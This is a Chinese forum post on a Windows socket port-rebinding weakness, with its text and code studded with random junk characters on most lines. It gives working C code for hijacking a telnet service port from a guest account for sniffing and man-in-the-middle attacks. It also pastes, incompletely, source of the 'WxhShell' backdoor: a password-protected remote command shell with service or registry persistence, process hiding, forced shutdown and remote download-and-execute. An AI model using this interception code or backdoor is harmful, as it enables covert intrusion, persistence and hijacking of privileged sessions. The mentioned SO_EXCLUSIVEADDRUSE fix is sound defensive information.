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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l-<EG9m@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;T*o RS  
K| '`w.  
  saddr.sin_family = AF_INET; W+u-M>Cj6  
Y[Eq;a132  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p^*A&7d:P  
Q$8&V}jVW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z` (">J  
0UOjk.~b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oJe`]_XZ  
9N V.<&~  
  这意味着什么?意味着可以进行如下的攻击: <Xl/U^B  
{W$K@vuV;?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (fcJp)D  
-)Of\4kx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #VynADPs`o  
/nB|Fo_&Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _BHEK  
'e:(61_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  LZ<^b6Dxk  
]oxi~TwY^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4rrR;V"}  
]..7t|^b&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]'5 G/H5?;  
=SV b k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jchq\q)_z  
{ pk]p~  
  #include )SyU  
  #include 7mtX/w9  
  #include ?,^ Aoy  
  #include    1"UHe*2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w:07_`cH=  
  int main() Nx=rw h  
  { ]_43U` [#  
  WORD wVersionRequested; ~Aw.=Yi=  
  DWORD ret; OZ, Xu&N  
  WSADATA wsaData; AA<QI'6  
  BOOL val; JasA w7  
  SOCKADDR_IN saddr; .X34[AXd  
  SOCKADDR_IN scaddr; ;"|QW?>$D  
  int err; -rlCE-S  
  SOCKET s; C1o^$Q|j  
  SOCKET sc; cG,zO-H  
  int caddsize; R'Uf#.  
  HANDLE mt; fi  [4F  
  DWORD tid;   %jn)=;\  
  wVersionRequested = MAKEWORD( 2, 2 ); \gR%PN  
  err = WSAStartup( wVersionRequested, &wsaData ); v"-K-AQjB  
  if ( err != 0 ) { odWK\e  
  printf("error!WSAStartup failed!\n"); P7\?WN$p  
  return -1; .FC|~Z1T<F  
  } \IZY\WU}2  
  saddr.sin_family = AF_INET; IR|#]en  
   vKBi jmE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3<HZ)w^B  
4d\V=_);r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ui.S)\B  
  saddr.sin_port = htons(23); DB3qf>@?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nM|F MK^  
  { Vh N6 oI  
  printf("error!socket failed!\n"); EO%"[k  
  return -1; ?OS0.  
  } a'(B}B=h  
  val = TRUE; Vrs?VA`v$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qyP={E9A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v1z d[jqk  
  { %rJ 'DPs  
  printf("error!setsockopt failed!\n"); GA;h7  
  return -1; 7=gcdfW,;x  
  } UCJx{7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9_fbl:qk;\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 **JBZ\'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sO{TGk]*  
f$ 7C 5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qHn X)  
  { <iB5&  
  ret=GetLastError(); ?[7KN8$  
  printf("error!bind failed!\n"); 1>Q4&1Vn  
  return -1; Ll .P>LH  
  } FG^lh  
  listen(s,2); q _Z+H4  
  while(1) </2 aQn  
  { O L 9(~p  
  caddsize = sizeof(scaddr); " =6kH,  
  //接受连接请求 nJ h)iQu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3S" /l  
  if(sc!=INVALID_SOCKET) ,B'fOJ.2  
  { .y<u+)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |}b~YHTs  
  if(mt==NULL) 7}vI/?r  
  { -iL:D<!Cb_  
  printf("Thread Creat Failed!\n"); <~P!yLr  
  break; %OOkPda  
  } KD.|oo  
  } qA"BoSw4  
  CloseHandle(mt); Q-z `rW  
  } :W;eW%Y  
  closesocket(s); ;Y0M]pC  
  WSACleanup(); ~r~YR=  
  return 0; iBI->xU[U  
  }   Cz &3=),G  
  DWORD WINAPI ClientThread(LPVOID lpParam) :$0yp`k  
  { -V-I&sO<  
  SOCKET ss = (SOCKET)lpParam; 0TZB}c#qT  
  SOCKET sc; sUU[QP-  
  unsigned char buf[4096]; .N( X. C  
  SOCKADDR_IN saddr; `]^W#6l  
  long num; n'0r (  
  DWORD val; .f"1(J8  
  DWORD ret; [S1 b\f#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )Xa_ry7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `jSegG'  
  saddr.sin_family = AF_INET; u`D _  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6%}`!_N<Mc  
  saddr.sin_port = htons(23); ` FOCX;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "=1gA~T  
  { ',K:.$My  
  printf("error!socket failed!\n"); Lq;T\m_de  
  return -1; Qj|rNeM_  
  } [$;cjys  
  val = 100; b3FKDm[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {* P[dyu  
  { m2"wMt"*V  
  ret = GetLastError(); HNCu:$Wr@  
  return -1; T*%rhnTv0  
  } mPHto-=fB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;!G#Y Oe  
  { y0`; br\X  
  ret = GetLastError(); j1A%LS;c_  
  return -1; NU3TXO  
  } 3&CV!+z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z,O* p,Gzn  
  { j#~~_VA~  
  printf("error!socket connect failed!\n"); TY'c'u,  
  closesocket(sc); 3E^qh03(  
  closesocket(ss); 2Z%n "z68  
  return -1; $}{[_2  
  } A]TEs)#*7)  
  while(1) S3l^h4  
  { wU>Fz*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /,\U*'-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QS!Z*vG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pS |K[:5  
  num = recv(ss,buf,4096,0); ;N?(R\* 8  
  if(num>0) (WJ)!  
  send(sc,buf,num,0); <D3mt Q  
  else if(num==0) ]WYV  
  break; }8" |q3k  
  num = recv(sc,buf,4096,0); oKsArZG  
  if(num>0) #Tei0B7  
  send(ss,buf,num,0); / Ws>;0  
  else if(num==0) z=) m6\  
  break; m$=}nI(H  
  } ;Mo_B9  
  closesocket(ss); JRw,${W  
  closesocket(sc); nj:w1E/R  
  return 0 ; @fYVlHT%E  
  } >5#}/G&  
z?.9)T9_  
""jW'%wR  
========================================================== %jy$4qAf%  
@B (oq1i@  
下边附上一个代码,,WXhSHELL $BMXjXd}  
xi(1H1KN5B  
========================================================== vhbHt_!u&  
\? )S {  
#include "stdafx.h" ,c|MB  
,wes*  
#include <stdio.h> <O 0Q]`i  
#include <string.h> V%s7*`U  
#include <windows.h> %L*EB;nK  
#include <winsock2.h> I51]+gEN  
#include <winsvc.h> _*6]4\;  
#include <urlmon.h> H" `'d  
dh7`eAMY   
#pragma comment (lib, "Ws2_32.lib") d/ ^IL*O  
#pragma comment (lib, "urlmon.lib") j=irx5:  
*lvADW5e  
#define MAX_USER   100 // 最大客户端连接数 BYXc 'K  
#define BUF_SOCK   200 // sock buffer IZj`*M%3  
#define KEY_BUFF   255 // 输入 buffer ;&O?4?@4  
vvv'!\'#  
#define REBOOT     0   // 重启 dT*Yv`h  
#define SHUTDOWN   1   // 关机 ZI!:  
]"Uzn  
#define DEF_PORT   5000 // 监听端口 K<*6E@+i  
^#<L!yo^  
#define REG_LEN     16   // 注册表键长度 )1 T2u  
#define SVC_LEN     80   // NT服务名长度 bh1$ A  
&M}X$k I  
// 从dll定义API l;_IH|A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /S"jO [n9b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?I6rW JcQ6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BA: x*(%~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oYkd%N9P  
[[IMf-]  
// wxhshell配置信息 cZxY,UvYa  
struct WSCFG { cDY)QUmi  
  int ws_port;         // 监听端口 q k^FyZ<  
  char ws_passstr[REG_LEN]; // 口令 \s&Mz;:  
  int ws_autoins;       // 安装标记, 1=yes 0=no J;>epM ;*  
  char ws_regname[REG_LEN]; // 注册表键名 CVa>5 vt  
  char ws_svcname[REG_LEN]; // 服务名 1z8"Gk6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <3{MS],<<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !l0]IX` F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E)$>t}$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *I(6hB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mqd'XU0L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I@KM2 KMN  
g4h{dFb|_  
}; oN,1ig  
gQ{ #C'  
// default Wxhshell configuration rpR yB9  
struct WSCFG wscfg={DEF_PORT, v;<gCzqQh  
    "xuhuanlingzhe", 5U~KYy^v  
    1, hi[nUG(OI  
    "Wxhshell", '|SO7}`;Q  
    "Wxhshell", :Ph>\aG  
            "WxhShell Service", =Pl@+RgK+  
    "Wrsky Windows CmdShell Service", !#)t<9]fv  
    "Please Input Your Password: ", |MZ1j(_  
  1, 1p. c6[9 -  
  "http://www.wrsky.com/wxhshell.exe", 1 jidBzu<  
  "Wxhshell.exe" BI`)P+K2  
    }; C>+n>bH]L  
,~d0R4)  
// 消息定义模块 N@c G jpQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +-<G(^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <}RI<96  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n>ui'}L  
char *msg_ws_ext="\n\rExit."; TF/NA\0c$  
char *msg_ws_end="\n\rQuit."; U*r54AyP  
char *msg_ws_boot="\n\rReboot..."; 7{F\b  
char *msg_ws_poff="\n\rShutdown..."; R!j#  
char *msg_ws_down="\n\rSave to "; OZxJDg  
@.W;3|~qc  
char *msg_ws_err="\n\rErr!"; M 5sk&>  
char *msg_ws_ok="\n\rOK!"; h~k<"  
fmz"Zg 9=  
char ExeFile[MAX_PATH]; 3@V?L:J  
int nUser = 0; A7X a  
HANDLE handles[MAX_USER]; :'DyZy2Fd  
int OsIsNt; {}YA7M:L  
Da(k>vR@4  
SERVICE_STATUS       serviceStatus; lr>NG,N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _Z0 .c@0  
.#QE*<T)]  
// 函数声明 wSjDa.?'  
int Install(void); 05LkLB  
int Uninstall(void); n= <c_a)Nb  
int DownloadFile(char *sURL, SOCKET wsh); 'v]0;~\mp>  
int Boot(int flag); $NVVurXa  
void HideProc(void); YcobK#c  
int GetOsVer(void); t<8)h8eW  
int Wxhshell(SOCKET wsl); MIZdk'.U  
void TalkWithClient(void *cs); |_TiF ;^  
int CmdShell(SOCKET sock); > ubq{'  
int StartFromService(void); 7\ _MA!:<  
int StartWxhshell(LPSTR lpCmdLine); f7_( C0d  
?y-^Fq|h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |0i{z(B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n|{K_! f  
 =1Sny7G  
// 数据结构和表定义 E5^\]`9P  
SERVICE_TABLE_ENTRY DispatchTable[] = >N|?>M*  
{ D m0)%#  
{wscfg.ws_svcname, NTServiceMain}, e(8hSVcl4  
{NULL, NULL} 5IF5R#  
}; PGP#$JC  
O6G\0o  
// 自我安装 KHAc!4lA  
int Install(void) K ";Et  
{ ;g!rc#z2g  
  char svExeFile[MAX_PATH]; Q-oDmjU  
  HKEY key; '.bf88D  
  strcpy(svExeFile,ExeFile); TTVmm{6  
L(;$(k-/(  
// 如果是win9x系统,修改注册表设为自启动 O{l4 f:51  
if(!OsIsNt) { zTa5 N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x:FZEyalG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9w=7A>.U  
  RegCloseKey(key); +7gd1^|$e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x &R9m,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QR&e~rks  
  RegCloseKey(key); _^BA;S @  
  return 0; ^K<3_D>1>  
    } "/zgh  
  } b{<?E };%  
} YCDH0M  
else { SI!A?34  
!.6n=r8 d  
// 如果是NT以上系统,安装为系统服务 F{ %*(U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @U_ CnhPQq  
if (schSCManager!=0) ef`_ n+`  
{ `<nxXsLe  
  SC_HANDLE schService = CreateService gq?7O<  
  ( fd )v{OC  
  schSCManager, f'=u`*(b7  
  wscfg.ws_svcname, 8%,#TMOg  
  wscfg.ws_svcdisp, M@xU59$@  
  SERVICE_ALL_ACCESS, d1cp=RbC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [Qnf]n\FJ  
  SERVICE_AUTO_START, E2dM0r<]  
  SERVICE_ERROR_NORMAL, Z^|N]Ej  
  svExeFile, ~X3g_<b_8  
  NULL, F}}!e.>c  
  NULL, ^m#tWb)f  
  NULL, T [SK>z  
  NULL, )$!b`u  
  NULL 5_;-Qw  
  ); 6M >@DRZ'|  
  if (schService!=0) 4Fft[S(  
  { ]Ucw&B* @  
  CloseServiceHandle(schService); CGi;M=xr  
  CloseServiceHandle(schSCManager); >/A]C$?3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hoq2zDjD  
  strcat(svExeFile,wscfg.ws_svcname); c& ;@i$X(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ..JRtuM-v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U823q-x  
  RegCloseKey(key); M8~3 0L  
  return 0; #s{^fUN6  
    } '{ _ X1  
  } \\R}3 >Wc  
  CloseServiceHandle(schSCManager); E]' f&0s  
} (u&x.J  
} Or? )Nlg6x  
7 FE36Ub9  
return 1; ; dzL9P9IU  
} KUJLx  
R,BJr y  
// 自我卸载 Z[nHo'  
int Uninstall(void) p}QDX*/sSu  
{ +0&^.N  
  HKEY key; G%I .u  
]Kt@F0U<o  
if(!OsIsNt) { osXEzr(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vkg0C*L_  
  RegDeleteValue(key,wscfg.ws_regname); X]=eC6M}:V  
  RegCloseKey(key); GTR*3,rw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h[>pC"s?K  
  RegDeleteValue(key,wscfg.ws_regname); KA?}o^-F  
  RegCloseKey(key); 86{>X5+  
  return 0; j,i9,oF6]  
  } vxZ'-&;t  
} *:n7B\.  
} f]r*;YEc4  
else { c]{}|2u  
jC'h54 ,Mr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]AYP\\Xi  
if (schSCManager!=0) wY<s  
{ 8JY0]G6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )NZH{G  
  if (schService!=0) v Z9OJrF  
  { WK6,K92  
  if(DeleteService(schService)!=0) { -zFJ)!/?  
  CloseServiceHandle(schService); 8NfXYR#  
  CloseServiceHandle(schSCManager); ?z.?(xZ 6  
  return 0; !`e`4y*N  
  } 5!?5S$>  
  CloseServiceHandle(schService); -yf8  
  } _ dAyw  
  CloseServiceHandle(schSCManager); $BdwKk !k  
} uA#K59E+  
} ^t})T*hM0  
Oo :Dt~Ib  
return 1; d3c.lD)L9  
} Tow=B  
Rt?CE jy  
// 从指定url下载文件 Pg8.RvmQ  
int DownloadFile(char *sURL, SOCKET wsh) 4;AF\De  
{ $bG*f*w  
  HRESULT hr; )7 Mss/2T  
char seps[]= "/";  g!}]FQBb  
char *token; r,JQR)l0@V  
char *file; /Z6lnm7wJ  
char myURL[MAX_PATH]; B/;> v  
char myFILE[MAX_PATH]; *V kaFQZ$,  
M*0^<e~]F  
strcpy(myURL,sURL); 84WD R?  
  token=strtok(myURL,seps); O z6$u  
  while(token!=NULL) |N`0G.#  
  { dNgA C){w  
    file=token; kU/MvoV  
  token=strtok(NULL,seps); WJD2(el  
  } KyNu8s k  
n}UJ - \$  
GetCurrentDirectory(MAX_PATH,myFILE); q=W.82.U  
strcat(myFILE, "\\"); c K\   
strcat(myFILE, file); x eFx!$3  
  send(wsh,myFILE,strlen(myFILE),0); ee? d ?:L  
send(wsh,"...",3,0); >8"(go+02  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FygNWI'  
  if(hr==S_OK) >pp/4Ia!  
return 0; tM]Gu?6  
else 0;l~B  
return 1; h}a}HabA  
m FTuqujO  
} iF+:j8 b  
g8.z?Ia#5Z  
// 系统电源模块 a=}1`Q  
int Boot(int flag) uLzE'Z mV  
{ JP Zp*5c6A  
  HANDLE hToken; iHhdoY[]  
  TOKEN_PRIVILEGES tkp; nook/7]  
P*!`AWn  
  if(OsIsNt) { JH\:9B+:L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hl}lxK,]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >1`4]%  
    tkp.PrivilegeCount = 1; |~5cN m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TBt5Nqks-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GM2}]9  
if(flag==REBOOT) { ![%wM Pp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c[ZrQJ  
  return 0; MAYb.>X#>  
} 8n5~K.;<  
else { R:f!ywj%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <XLaJ;j  
  return 0; d0)]^4HT|y  
} ?+.mP]d_  
  } #A5X ,-4G  
  else { J>v[5FX+  
if(flag==REBOOT) { lW?}Ts ~'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }W'j Dz7O  
  return 0; e#/&A5#Ya  
} QwX81*nx  
else { Zy+ERaF|]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dXxf{|gk>  
  return 0; 5@5 *}[M  
} ,^G+<T6  
} rhkKK_  
|Lg2;P7\  
return 1; &lLk[/b  
} Bg),Q8\I  
^mq(j_E.  
// win9x进程隐藏模块 +r!NR?^m  
void HideProc(void) I-^sJ@V;  
{ oZ*?Uh*  
U^KWRqt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !!Ww#x~k$[  
  if ( hKernel != NULL ) T!]rdN!  
  { 2vpQ"e- A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RK.lz VaY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _h<rVcl!wX  
    FreeLibrary(hKernel); KNmU2-%l  
  } m+XHFU  
#8h7C8]&  
return; DyqqY$ vH(  
} PR"x&JG@  
fof}I:vO  
// 获取操作系统版本 Y#c439&  
int GetOsVer(void) MtL<)?HQ  
{ kS_#8 I  
  OSVERSIONINFO winfo; 8$~oiK%fw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ovaOX  
  GetVersionEx(&winfo);  7V5c`:"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eHvUgDt  
  return 1; l8?C[, K%  
  else XB!qPh .  
  return 0; C"kfxpCi  
} 6qDt 6uB  
%!t9)pNc  
// 客户端句柄模块 r5xm7- `c  
int Wxhshell(SOCKET wsl) #qVTB@d  
{ 9@CRL=  
  SOCKET wsh; 8|@) #:  
  struct sockaddr_in client; jv.tg,c_6  
  DWORD myID; /x@aAJ|  
[[c0g6  
  while(nUser<MAX_USER) 0]5X Tc3r  
{  jfK&CA  
  int nSize=sizeof(client); ,iYhD-"'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >rlUV"8jY;  
  if(wsh==INVALID_SOCKET) return 1; ynw(wSH=  
=)Hu(;Yv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nam]eW  
if(handles[nUser]==0) w>*Jgc@A*  
  closesocket(wsh); oo;<I_#07  
else \bT0\ (Js\  
  nUser++; atpHv**D<i  
  } wL~A L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oF$#7#0`;8  
jywS<9c@  
  return 0; 3!F^ vZ.  
} G~y:ZEnN[  
OB9E30  
// 关闭 socket E+i(p+=4  
void CloseIt(SOCKET wsh) 8SRUqe[H]  
{ fNi&r0/-t  
closesocket(wsh); ,ASNa^7/>  
nUser--; 4v>SXch  
ExitThread(0); `^/8dIya  
} w-JWMgY8w  
[5' HlHK  
// 客户端请求句柄 Ba?1q%eG  
void TalkWithClient(void *cs) - c>Vw&1  
{ m7i_ Iv  
wtSU43D  
  SOCKET wsh=(SOCKET)cs; 2p9^ =  
  char pwd[SVC_LEN]; Y7+c/co  
  char cmd[KEY_BUFF]; .f0qgmIyL  
char chr[1]; hpXW t Q  
int i,j; 9nVb$pfe#  
/[lEZ['^  
  while (nUser < MAX_USER) { %Qz<Lk">.  
;76+J)  
if(wscfg.ws_passstr) { 64mh.j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7*{l\^ism;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o5J6Xi0+  
  //ZeroMemory(pwd,KEY_BUFF); i. )^}id  
      i=0; \mLEwNhRY  
  while(i<SVC_LEN) { ]v}W9{sY  
vfn[&WN]  
  // 设置超时 FVkl# Qy~  
  fd_set FdRead; 5uG^`H@X  
  struct timeval TimeOut; Ns YEBT7f  
  FD_ZERO(&FdRead); { Zv%DV4_$  
  FD_SET(wsh,&FdRead); a$?d_BX  
  TimeOut.tv_sec=8; z\<,}x}V  
  TimeOut.tv_usec=0; ma-GvWD2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s@&3;{F6D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VDOC>  
Cxq |N]E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tvf.K+  
  pwd=chr[0]; wz3X;1l`c  
  if(chr[0]==0xd || chr[0]==0xa) { Jc?zX8>Ae:  
  pwd=0; G~C-tAB  
  break; nygGI_[l  
  } HD#>K 7  
  i++; ;39a`  
    } zd2_k 9  
0kCo0{+n  
  // 如果是非法用户,关闭 socket c;/vzIJj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VF11eZ"  
} 4Ia'Yr  
,<+:xl   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); } l+_KA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |LJv*  
@TW:6v`  
while(1) { v&G9HiH  
,&3+w ~Ua  
  ZeroMemory(cmd,KEY_BUFF); Y(`Bc8h  
Zs t)S(  
      // 自动支持客户端 telnet标准   l'[;q '  
  j=0; cQLPgE0  
  while(j<KEY_BUFF) { ~pp< T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q&[G^9  
  cmd[j]=chr[0]; i[LnU#+  
  if(chr[0]==0xa || chr[0]==0xd) { ~M* UMF^  
  cmd[j]=0; yuC$S&Y >!  
  break; [<d ~b*/  
  } =e 1Q>~  
  j++; N/WtQSl  
    } }@6yROy.  
j<)$ [v6  
  // 下载文件 GQ?FUFuIoW  
  if(strstr(cmd,"http://")) { Ff>X='{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5l@} 1n  
  if(DownloadFile(cmd,wsh)) [u*7( 4e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :j3^p8]  
  else J ?aJa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R`$jF\"`r  
  } B>'J5bZsw  
  else { %!-t7K^mFq  
k>MXOUaW.  
    switch(cmd[0]) { jqvw<+#  
   ~}p k^FA  
  // 帮助 E`HA0/  
  case '?': { c"k nzB vy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n(z$u)Y  
    break; XFs7kTY  
  }  :Kyr}-  
  // 安装 _}j>  
  case 'i': { ]3|h6KWq  
    if(Install()) Pl|I{l*o(`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lMW6D0^  
    else ?$;&DoE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i@P= *lLD  
    break; "Ltp]nCR  
    } &<#1G u_  
  // 卸载 ,0HID:&  
  case 'r': { jX'pUO  
    if(Uninstall()) @|<nDd{2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %vf;qVoA~  
    else hiVDN"$$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hx%UZ<a  
    break; =&-.]| t  
    } ZR3sz/ulLd  
  // 显示 wxhshell 所在路径 :T6zT3(")D  
  case 'p': { GM;uwL#  
    char svExeFile[MAX_PATH]; d72( g$F  
    strcpy(svExeFile,"\n\r"); R.* k7-(;  
      strcat(svExeFile,ExeFile); dUn]aS  
        send(wsh,svExeFile,strlen(svExeFile),0); [Z'4YXS  
    break; 2>x[_  
    } /^{Q(R(X<  
  // 重启 gBI?dw  
  case 'b': { u-n$%yDS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZA_~o#0%  
    if(Boot(REBOOT)) p+Bvfn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tIBEja^l  
    else { 4;H m%20g  
    closesocket(wsh); h\)ual_r[j  
    ExitThread(0); 4K;0.W;~|  
    } N/0Q`cQ-  
    break; KVoi>?a   
    } )i39'0a  
  // 关机 R. ryy  
  case 'd': { P:'y}a-  
